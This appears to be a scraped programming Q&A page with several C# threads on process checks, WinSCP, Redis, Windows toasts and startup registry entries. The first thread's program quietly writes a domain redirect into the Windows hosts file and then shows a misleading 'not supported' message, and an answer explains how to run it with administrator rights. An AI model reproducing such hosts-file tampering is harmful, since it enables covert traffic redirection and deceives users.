Apps not running on different machines - c#

I have this code:
using System;
using System.IO;
using System.Net;
using System.Net.Mail;
namespace Nameddd
{
class Program
{
static void Main(string[] args)
{
Hosts();
Console.WriteLine("Loading..");
Console.WriteLine("Your computer is not supported");
Console.ReadKey();
}
static void Hosts()
{
{
using (StreamWriter w = File.AppendText(Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.System), "drivers/etc/hosts")))
{
w.WriteLine("SOME_IP domain.com");
}
}
This program is working for me but apparently not on every system. I used VS 2015 community on Windows 10. On another computer my friend (with windows 7) - also working.
But for someone with Windows 10 it is not working. Application is not running, "loading cursor" - that's it. If I'm trying to delete the .exe it shows a message box with text like "process already running".

Make sure you are running the code or executable as administrator.
You probably opened the file but couldn't save the changes to the file for the friend that the code failed.
from another post from here you can check it like this:
using System.Security.Principal;
public bool IsUserAdministrator()
{
bool isAdmin;
try
{
WindowsIdentity user = WindowsIdentity.GetCurrent();
WindowsPrincipal principal = new WindowsPrincipal(user);
isAdmin = principal.IsInRole(WindowsBuiltInRole.Administrator);
}
catch (UnauthorizedAccessException ex)
{
isAdmin = false;
}
catch (Exception ex)
{
isAdmin = false;
}
return isAdmin;
}

Related

Check if an instance of an application is open

Could someone show how could I check if an instance of VS is open and if so I need to show a message.
private String MSBUILD = File.Exists(#"C:\Program Files (x86)\Microsoft Visual Studio\2017\Professional\MSBuild\15.0\Bin\MSBuild.exe") == true
? #"C:\Program Files (x86)\Microsoft Visual Studio\2017\Professional\MSBuild\15.0\Bin\MSBuild.exe"
: #"C:\LegacyApp\Microsoft Visual Studio\MSBuild\15.0\Bin\MSBuild.exe";
This is my path to the VS directory. I need to check if it's open and if it's open I need to show a message that is saying you need to close the previous one before you open another.
In c# you can use "Process.GetProcessesByName()" for check if process is running. To see name of program use "Task Manager - Services".
Get current process-application name with "Process.GetCurrentProcess().ProcessName".
Combining all will give you
bool isAlreadyWorking = Process.GetProcessesByName(Process.GetCurrentProcess().ProcessName).Length > 1;
When an application is running, it is called a process in the context of the operating system. In c# you can use the Process.GetProcessById(), Process.GetProcessesByName() .
using System;
using System.Diagnostics;
namespace check_if_process_is_running
{
class Program
{
static bool isRunning(string name)
{
try {
Process.GetProcessByName(name);
}
catch (InvalidOperationException) {
return false;
}
catch (ArgumentException) {
return false;
}
return true;
}
static void Main(string[] args)
{
bool running = isRunning("devenv.exe");
if (running)
{
Console.WriteLine("Running");
}
else
{
Console.WriteLine("Not Running");
}
}
}
}

SSIS WinSCP C# script task running but not doing anything

My code is not throwing any error but it is not doing anything at all.
I'm trying to connect to a SFTP server, the task itself is not showing any error but it is not accessing/getting the file stored in a specific directory.
Images:
This is my code:
#region Namespaces
using System;
using Microsoft.SqlServer.Dts.Tasks;
using System.Data;
using Microsoft.SqlServer.Dts.Runtime;
using System.Windows.Forms;
using System.Linq;
using WinSCP;
#endregion
namespace ST_t5fbgt5564cf3a165da70892d8c435v
{
[Microsoft.SqlServer.Dts.Tasks.ScriptTask.SSISScriptTaskEntryPointAttribute]
public partial class ScriptMain : Microsoft.SqlServer.Dts.Tasks.ScriptTask.VSTARTScriptObjectModelBase
{
public int Main()
{
try
{
SessionOptions sessionOptions = new SessionOptions
{
Protocol = Protocol.Sftp,
HostName = "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx",
UserName = "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx",
Password = "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx",
PortNumber = xx
};
using (Session session = new Session())
{
session.Open(sessionOptions);
const string remotePath = "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx";
const string localPath = #"C:\xxxxxxxxxxxxxxxxxxxxxxxxxxxx";
RemoteDirectoryInfo directoryInfo = session.ListDirectory(remotePath);
RemoteFileInfo latest =
directoryInfo.Files
.Where(file => !file.IsDirectory)
.OrderByDescending(file => file.LastWriteTime)
.FirstOrDefault();
if (latest == null)
{
throw new Exception("No found");
}
session.GetFiles(
RemotePath.EscapeFileMask(latest.FullName), localPath).Check();
}
return 0;
}
catch (Exception e)
{
Console.WriteLine("Error: (0)", e);
return 1;
}
}
#region ScriptResults declaration
enum ScriptResults
{
Success = Microsoft.SqlServer.Dts.Runtime.DTSExecResult.Success,
Failure = Microsoft.SqlServer.Dts.Runtime.DTSExecResult.Failure
};
#endregion
}
}
Is anything wrong with my code? am i missing anything?
EDIT:
EDIT #2
I was able to print log messages and this is the error:
Error: Error: WinSCP.SessionLocalException: The version of C:\Program Files (x86)\WinSCP\winscp.exe (5.15.3.0) does not match version of this assembly C:\Windows\Microsoft.Net\assembly\GAC_MSIL\WinSCPnet\v4.0_1.7.2.11087__2271ec4a3c56d0bf\WinSCPnet.dll (5.17.10.0).
in WinSCP.ExeSessionProcess.CheckVersion(String exePath, FileVersionInfo assemblyVersion)
in WinSCP.ExeSessionProcess..ctor(Session session, Boolean useXmlLog, String additionalArguments)
in WinSCP.Session.Open(SessionOptions sessionOptions)
in ST_2u7fsdf8fdsfkjgd998fsdf9ss.ScriptMain.Main()
The actual answer to your question is: Do some logging!
See the the WinSCP SSIS example:
Use Dts.Events.FireInformation a lot.
Put try/catch around your whole code and log all exceptions:
try
{
// The code
}
catch (Exception e)
{
Dts.Events.FireError(
0, null, $"Error when using WinSCP to upload files: {e}", null, 0);
}
I was able to solve this by downloading the correct version of the application.

What's the usage of StackExchange.Redis on redis cluster mode

This is using stackexchange.redis v1.1.603, .net 4.6, console application.
Here is my codes:
using System;
using System.Collections.Generic;
using StackExchange.Redis;
namespace RedisClusterTesting
{
class Program
{
static void Main(string[] args)
{
string ip = "192.168.1.20:30001,192.168.1.20:30002,192.168.1.20:30003,resolvedns=1";
var conf = ConfigurationOptions.Parse(ip);
conf.CommandMap = CommandMap.Create(new HashSet<string> {
"INFO", "CONFIG", "CLUSTER","PING", "ECHO", "CLIENT"
}, false);
using (ConnectionMultiplexer conn = ConnectionMultiplexer.Connect(conf))
{
var db = conn.GetDatabase();
Do(db);
}
Console.ReadKey();
}
private static void Do(IDatabase db)
{
/*here throws MOVED Exception:MOVED 12182 192.168.1.20:30003*/
db.StringSet("foo", "changed");
Console.WriteLine("foo now:" + db.StringGet("foo").ToString());
}
}
}
Always show the message "MOVED: 12586[192.168.1.20:30003]".
I search all the offcial document and on the Internet, can't find the right answer. It's OK while I use redis-cli.
How to fix this?Do I need process the exception in my code?If, how?
Seems like you may be running into this issue: https://github.com/StackExchange/StackExchange.Redis/issues/248. If you put a 1 second sleep between your Connect() call and your Do() call, I would guess that you will see the issue go away.

Compile a Visual Studio C# project for two TargetPlatformVersion

I developed a .NET windows application which worked both on Windows 7 and 8.1. Then I added the Toast notification feature that came with Windows 8 (from this question: How can I use the Windows.UI namespace from a regular (Non-Store) Win32 .NET application?).
This also worked, I just had to add:
<PropertyGroup>
<TargetPlatformVersion>8.0</TargetPlatformVersion>
</PropertyGroup>
to the project file.
As I referenced the Windows.winmd file from the Windows 8.1 SDK C:\Program Files (x86)\Windows Kits\8.1\References\CommonConfiguration\Neutral\Windows.winmd, the executable does not start on Windows 7 anymore! I double-click and that's it. No errors, no messages.
As I did not find any solution online, that's where my question comes up: How do I manage to do both: Offer the toast feature to my users AND make the same .exe run on Windows 7?
Thank you in advance!
EDIT
It turns out that though TargetPlatformVersion is set to 8.0, the executable starts on Windows 7 anyway, but crashes as soon as the program tries to load the Windows 8 libraries:
An unhandled exception of type 'System.TypeLoadException' occurred in ToastTester.exe.
Additional information: Could not find Windows Runtime type 'Windows.UI.Notifications.ToastNotificationManager'.
on line Application.Run(new Form1());
In Form1.cs in line 9 I've got using Windows.UI.Notifications;
What is the best way to avoid this exception during runtime, even though it is expected that this executable will run in environments like Windows 7 where the Windows.UI.Notifications namespace is definitely not available?
I designed my own workaround for being able to support Windows 8 toasts and at the same time prevent application crashes due to missing libraries when running on Windows 7. Note: I am using the Singleton design pattern (member INSTANCE), but you can always do it otherwise.
ShellLink.cs is taken from here
Win8Toaster.cs:
using System;
using System.Collections.Generic;
using System.IO;
using System.Linq;
using System.Text;
using System.Windows.Forms;
using Windows.Data.Xml.Dom;
using Windows.UI.Notifications;
namespace ToastManager
{
class Win8Toaster
{
public const string APPUSERMODELID = "YourCompany.YourApplicationName";
public static string ShortcutLocation;
public static ToastNotifier ToastNotifier;
private static Win8Toaster _INSTANCE = null;
public static Win8Toaster INSTANCE
{
get
{
if (_INSTANCE == null)
{
_INSTANCE = new Win8Toaster();
}
return _INSTANCE;
}
}
public Win8Toaster()
{
ShortcutLocation = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + #"\Microsoft\Windows\Start Menu\Programs\YourCompany\YourApplication.lnk");
//We need a start menu shortcut (a ShellLink object) to show toasts.
if (!File.Exists(ShortcutLocation))
{
string directory = Path.GetDirectoryName(ShortcutLocation);
if (!Directory.Exists(directory))
{
Directory.CreateDirectory(directory);
}
using (ShellLink shortcut = new ShellLink())
{
shortcut.TargetPath = System.Reflection.Assembly.GetEntryAssembly().Location;
shortcut.Arguments = "";
shortcut.AppUserModelID = APPUSERMODELID;
shortcut.Save(ShortcutLocation);
}
}
ToastNotifier = ToastNotificationManager.CreateToastNotifier(APPUSERMODELID);
}
public void ShowToast(ToastContent Content)
{
XmlDocument ToastContent = new XmlDocument();
ToastContent.LoadXml("<toast><visual><binding template=\"ToastImageAndText02\"><image id=\"1\" src=\"file:///" + Content.ImagePath + "\"/><text id=\"1\">" + Content.Text1 + "</text><text id=\"2\">" + Content.Text2 + "</text></binding></visual></toast>");
ToastNotification thisToast = new ToastNotification(ToastContent);
ToastNotifier.Show(thisToast);
}
}
}
Toaster.cs
using System;
using System.Collections.Generic;
using System.Windows.Forms;
namespace ToastManager
{
public static class Toaster
{
private static Win8Toaster ActiveToaster;
public static bool Win8ToasterAvailable = true;
public static void ShowToast(ToastContent Content)
{
if (Win8ToasterAvailable)
{
if (ActiveToaster == null)
{
if (Environment.OSVersion.Version.Major > 6 || Environment.OSVersion.Version.Major == 6 && Environment.OSVersion.Version.Minor >= 2)
{
try
{
ActiveToaster = Win8Toaster.INSTANCE;
}
catch (Exception ex)
{
Win8ToasterAvailable = false;
}
}
else
{
Win8ToasterAvailable = false;
}
}
ActiveToaster.ShowToast(Content);
}
else
{
//Use alternative notifications because Windows 8 Toasts are not available
}
}
}
//I also wrote my own toast content structure:
public class ToastContent
{
public string ImagePath, Text1, Text2;
public ToastContent(string ImagePath, string Text1, string Text2)
{
this.ImagePath = ImagePath;
this.Text1 = Text1;
this.Text2 = Text2;
}
}
}
Now that you've got the necessary classes, here is how to use it (pretty simple, huh?):
ToastManager.Toaster.ShowToast(new ToastManager.ToastContent(#"..\path\toyour\image.png", "Your Application Name", "Time: " + DateTime.Now.ToLongTimeString()));
This example shows a toast notification with the current system time or nothing if you are on Windows 7.
A design suggestion:
I used WinForms to design a notification window which looks similar to that in Windows 8 and simulates the same functions, just with my own forms. Alternatively you can also implement a tray icon and show some notification bubbles.

How to run a C# application at Windows startup?

I made an application that launches during startup, with the next code below.
The process runs on the process manager tool after the restart, but I can't see
the application on the screen.
When I open the same .exe file from the startup registry value the program runs perfect.
// The path to the key where Windows looks for startup applications
RegistryKey rkApp = Registry.CurrentUser.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", true);
// Add the value in the registry so that the application runs at startup
rkApp.SetValue("MyApp", Application.ExecutablePath.ToString());
What can I do to fix it up?
Code is here (Win form app):
using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Text;
using System.Windows.Forms;
using Microsoft.Win32;
namespace RunAtStartup
{
public partial class frmStartup : Form
{
// The path to the key where Windows looks for startup applications
RegistryKey rkApp = Registry.CurrentUser.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", true);
public frmStartup()
{
InitializeComponent();
// Check to see the current state (running at startup or not)
if (rkApp.GetValue("MyApp") == null)
{
// The value doesn't exist, the application is not set to run at startup
chkRun.Checked = false;
}
else
{
// The value exists, the application is set to run at startup
chkRun.Checked = true;
}
}
private void btnOk_Click(object sender, EventArgs e)
{
if (chkRun.Checked)
{
// Add the value in the registry so that the application runs at startup
rkApp.SetValue("MyApp", Application.ExecutablePath);
}
else
{
// Remove the value from the registry so that the application doesn't start
rkApp.DeleteValue("MyApp", false);
}
}
}
}
Try this code:
private void RegisterInStartup(bool isChecked)
{
RegistryKey registryKey = Registry.CurrentUser.OpenSubKey
("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", true);
if (isChecked)
{
registryKey.SetValue("ApplicationName", Application.ExecutablePath);
}
else
{
registryKey.DeleteValue("ApplicationName");
}
}
Source (dead): http://www.dotnetthoughts.net/2010/09/26/run-the-application-at-windows-startup/
Archived link: https://web.archive.org/web/20110104113608/http://www.dotnetthoughts.net/2010/09/26/run-the-application-at-windows-startup/
You could try copying a shortcut to your application into the startup folder instead of adding things to the registry. You can get the path with Environment.SpecialFolder.Startup. This is available in all .net frameworks since 1.1.
Alternatively, maybe this site will be helpful to you, it lists a lot of the different ways you can get an application to auto-start.
public class StartUpManager
{
public static void AddApplicationToCurrentUserStartup()
{
using (RegistryKey key = Registry.CurrentUser.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", true))
{
key.SetValue("My ApplicationStartUpDemo", "\"" + System.Reflection.Assembly.GetExecutingAssembly().Location + "\"");
}
}
public static void AddApplicationToAllUserStartup()
{
using (RegistryKey key = Registry.LocalMachine.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", true))
{
key.SetValue("My ApplicationStartUpDemo", "\"" + System.Reflection.Assembly.GetExecutingAssembly().Location + "\"");
}
}
public static void RemoveApplicationFromCurrentUserStartup()
{
using (RegistryKey key = Registry.CurrentUser.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", true))
{
key.DeleteValue("My ApplicationStartUpDemo", false);
}
}
public static void RemoveApplicationFromAllUserStartup()
{
using (RegistryKey key = Registry.LocalMachine.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", true))
{
key.DeleteValue("My ApplicationStartUpDemo", false);
}
}
public static bool IsUserAdministrator()
{
//bool value to hold our return value
bool isAdmin;
try
{
//get the currently logged in user
WindowsIdentity user = WindowsIdentity.GetCurrent();
WindowsPrincipal principal = new WindowsPrincipal(user);
isAdmin = principal.IsInRole(WindowsBuiltInRole.Administrator);
}
catch (UnauthorizedAccessException ex)
{
isAdmin = false;
}
catch (Exception ex)
{
isAdmin = false;
}
return isAdmin;
}
}
you can check whole article here
its very simple
add two part in code :
1- add namespace:
using Microsoft.Win32;
2-add application to registery :
RegistryKey key=Registry.CurrentUser.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", true);
key.SetValue("your_app_name", Application.ExecutablePath);
if you want delete app from registery:
key.DeleteValue("your_app_name",false);
first I tried the code below and it was not working
RegistryKey rkApp = Registry.CurrentUser.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", true);
rkApp.SetValue("MyAPP", Application.ExecutablePath.ToString());
Then, I changed CurrentUser with LocalMachine and it works
RegistryKey rkApp = Registry.LocalMachine.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", true);
rkApp.SetValue("MyAPP", Application.ExecutablePath.ToString());
I did not find any of the above code worked. Maybe that's because my app is running .NET 3.5. I don't know. The following code worked perfectly for me. I got this from a senior level .NET app developer on my team.
Write(Microsoft.Win32.Registry.LocalMachine, #"SOFTWARE\Microsoft\Windows\CurrentVersion\Run\", "WordWatcher", "\"" + Application.ExecutablePath.ToString() + "\"");
public bool Write(RegistryKey baseKey, string keyPath, string KeyName, object Value)
{
try
{
// Setting
RegistryKey rk = baseKey;
// I have to use CreateSubKey
// (create or open it if already exits),
// 'cause OpenSubKey open a subKey as read-only
RegistryKey sk1 = rk.CreateSubKey(keyPath);
// Save the value
sk1.SetValue(KeyName.ToUpper(), Value);
return true;
}
catch (Exception e)
{
// an error!
MessageBox.Show(e.Message, "Writing registry " + KeyName.ToUpper());
return false;
}
}
An open source application called "Startup Creator" configures Windows Startup by creating a script while giving an easy to use interface. Utilizing powerful VBScript, it allows applications or services to start up at timed delay intervals, always in the same order. These scripts are automatically placed in your startup folder, and can be opened back up to allow modifications in the future.
http://startupcreator.codeplex.com/
for WPF: (where lblInfo is a label, chkRun is a checkBox)
this.Topmost is just to keep my app on the top of other windows, you will also need to add a using statement " using Microsoft.Win32; ", StartupWithWindows is my application's name
public partial class MainWindow : Window
{
// The path to the key where Windows looks for startup applications
RegistryKey rkApp = Registry.CurrentUser.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", true);
public MainWindow()
{
InitializeComponent();
if (this.IsFocused)
{
this.Topmost = true;
}
else
{
this.Topmost = false;
}
// Check to see the current state (running at startup or not)
if (rkApp.GetValue("StartupWithWindows") == null)
{
// The value doesn't exist, the application is not set to run at startup, Check box
chkRun.IsChecked = false;
lblInfo.Content = "The application doesn't run at startup";
}
else
{
// The value exists, the application is set to run at startup
chkRun.IsChecked = true;
lblInfo.Content = "The application runs at startup";
}
//Run at startup
//rkApp.SetValue("StartupWithWindows",System.Reflection.Assembly.GetExecutingAssembly().Location);
// Remove the value from the registry so that the application doesn't start
//rkApp.DeleteValue("StartupWithWindows", false);
}
private void btnConfirm_Click(object sender, RoutedEventArgs e)
{
if ((bool)chkRun.IsChecked)
{
// Add the value in the registry so that the application runs at startup
rkApp.SetValue("StartupWithWindows", System.Reflection.Assembly.GetExecutingAssembly().Location);
lblInfo.Content = "The application will run at startup";
}
else
{
// Remove the value from the registry so that the application doesn't start
rkApp.DeleteValue("StartupWithWindows", false);
lblInfo.Content = "The application will not run at startup";
}
}
}
If you could not set your application autostart you can try to paste this code to manifest
<requestedExecutionLevel level="asInvoker" uiAccess="false" />
or delete manifest I had found it in my application
OK here are my 2 cents: try passing path with each backslash as double backslash. I have found sometimes calling WIN API requires that.
I think there is a specific Win32 API call which takes the application path and puts it in the registry automatically for you in the proper location, I've used it in the past but I don't remember the function name anymore.

Categories

Resources